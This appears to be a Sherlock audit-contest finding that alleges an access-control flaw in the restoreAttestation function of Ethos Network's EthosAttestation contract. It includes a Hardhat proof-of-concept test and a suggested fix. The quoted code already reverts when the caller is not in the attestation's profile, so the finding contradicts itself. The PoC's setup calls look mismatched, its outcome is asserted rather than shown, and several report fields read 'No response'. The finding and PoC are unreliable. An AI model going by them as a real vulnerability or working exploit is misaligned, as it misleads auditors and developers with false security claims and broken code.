Passive Misty Pike
High
restoreAttestation
function in EthosAttestation.sol
allow unauthorized users to restore archived attestations
The restoreAttestation
function in the EthosAttestation
contract lacks sufficient validation, allowing unauthorized users to restore archived attestations. The vulnerability arises from missing checks on the caller's ownership of the attestation being restored. This could enable malicious users to restore attestations that they do not own, potentially compromising the integrity and authenticity of attestations linked to user profiles.
The function restoreAttestation
allows users to restore an attestation that was previously archived, making it active again. However, it fails to verify that the caller is the owner of the attestation being restored. Only the profile owner associated with the attestation should be able to perform this restoration. Without adequate ownership verification, any user could restore attestations arbitrarily, potentially linking incorrect or outdated attestations to user profiles.
https://github.com/sherlock-audit/2024-10-ethos-network/blob/main/ethos/packages/contracts/contracts/EthosAttestation.sol#L365-L397
function restoreAttestation(bytes32 attestationHash) public whenNotPaused {
uint256 profileId = attestationByHash[attestationHash].profileId;
address ethosProfile = _getEthosProfile();
(, bool isArchived) = IEthosProfile(ethosProfile).profileExistsAndArchivedForId(profileId);
if (isArchived) {
revert ProfileNotFound(profileId);
}
bool senderBelongsToProfile = IEthosProfile(ethosProfile).addressBelongsToProfile(
msg.sender,
profileId
);
if (!senderBelongsToProfile) {
revert AddressNotInProfile(msg.sender, profileId);
}
if (!attestationByHash[attestationHash].archived) {
revert AttestationNotArchived(attestationHash);
}
attestationByHash[attestationHash].archived = false;
emit AttestationRestored(
attestationByHash[attestationHash].attestationId,
attestationByHash[attestationHash].service,
attestationByHash[attestationHash].account,
profileId
);
}
The line where restoreAttestation
verifies ownership:
bool senderBelongsToProfile = IEthosProfile(ethosProfile).addressBelongsToProfile(
msg.sender,
profileId
);
This check verifies if the caller belongs to the profile but does not confirm whether the caller is the actual owner of the profile associated with the attestation. As a result, this lack of stringent ownership verification permits unauthorized users to restore attestations linked to other profiles.
No response
No response
No response
This vulnerability poses a significant risk to the authenticity and integrity of attestations in the system. If unauthorized users can restore attestations, they can activate attestations linked to unrelated profiles or users, leading to identity and reputation issues within the Ethos platform.
The PoC script demonstrates an unauthorized user attempting to restore an attestation they do not own:
// Hardhat test script
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("restoreAttestation Vulnerability Test", function () {
let EthosAttestation, ethosAttestation, owner, user1, user2;
beforeEach(async function () {
[owner, user1, user2] = await ethers.getSigners();
EthosAttestation = await ethers.getContractFactory("EthosAttestation");
ethosAttestation = await EthosAttestation.deploy();
await ethosAttestation.deployed();
// Initialize contract and create a sample attestation by owner
await ethosAttestation.initialize(owner.address, user1.address, user2.address);
await ethosAttestation.connect(owner).createAttestation(1, 123, {account: "user1", service: "Service1"}, "Initial Evidence", "0x123");
// Archive the attestation
const attestationHash = await ethosAttestation.getServiceAndAccountHash("Service1", "user1");
await ethosAttestation.connect(owner).archiveAttestation(attestationHash);
});
it("should allow unauthorized user to restore archived attestation", async function () {
const attestationHash = await ethosAttestation.getServiceAndAccountHash("Service1", "user1");
// Unauthorized user2 tries to restore the attestation
await expect(ethosAttestation.connect(user2).restoreAttestation(attestationHash))
.to.emit(ethosAttestation, "AttestationRestored");
// Check if the attestation is no longer archived
const attestation = await ethosAttestation.getAttestationByHash(attestationHash);
expect(attestation.archived).to.equal(false);
});
});
On running the above Hardhat test:
- The
AttestationRestored
event is emitted, despiteuser2
being unauthorized. - The restored attestation now has an active status, although
user2
is not the attestation owner. This proves that therestoreAttestation
function does not restrict unauthorized users from restoring archived attestations.
To fix this issue, add a verification check in restoreAttestation
to ensure that only the profile owner associated with the attestation is allowed to restore it. The following additional check in restoreAttestation
would restrict access to the actual profile owner:
address attestationOwner = IEthosProfile(_getEthosProfile()).ownerOf(profileId);
require(msg.sender == attestationOwner, "Caller is not the attestation owner");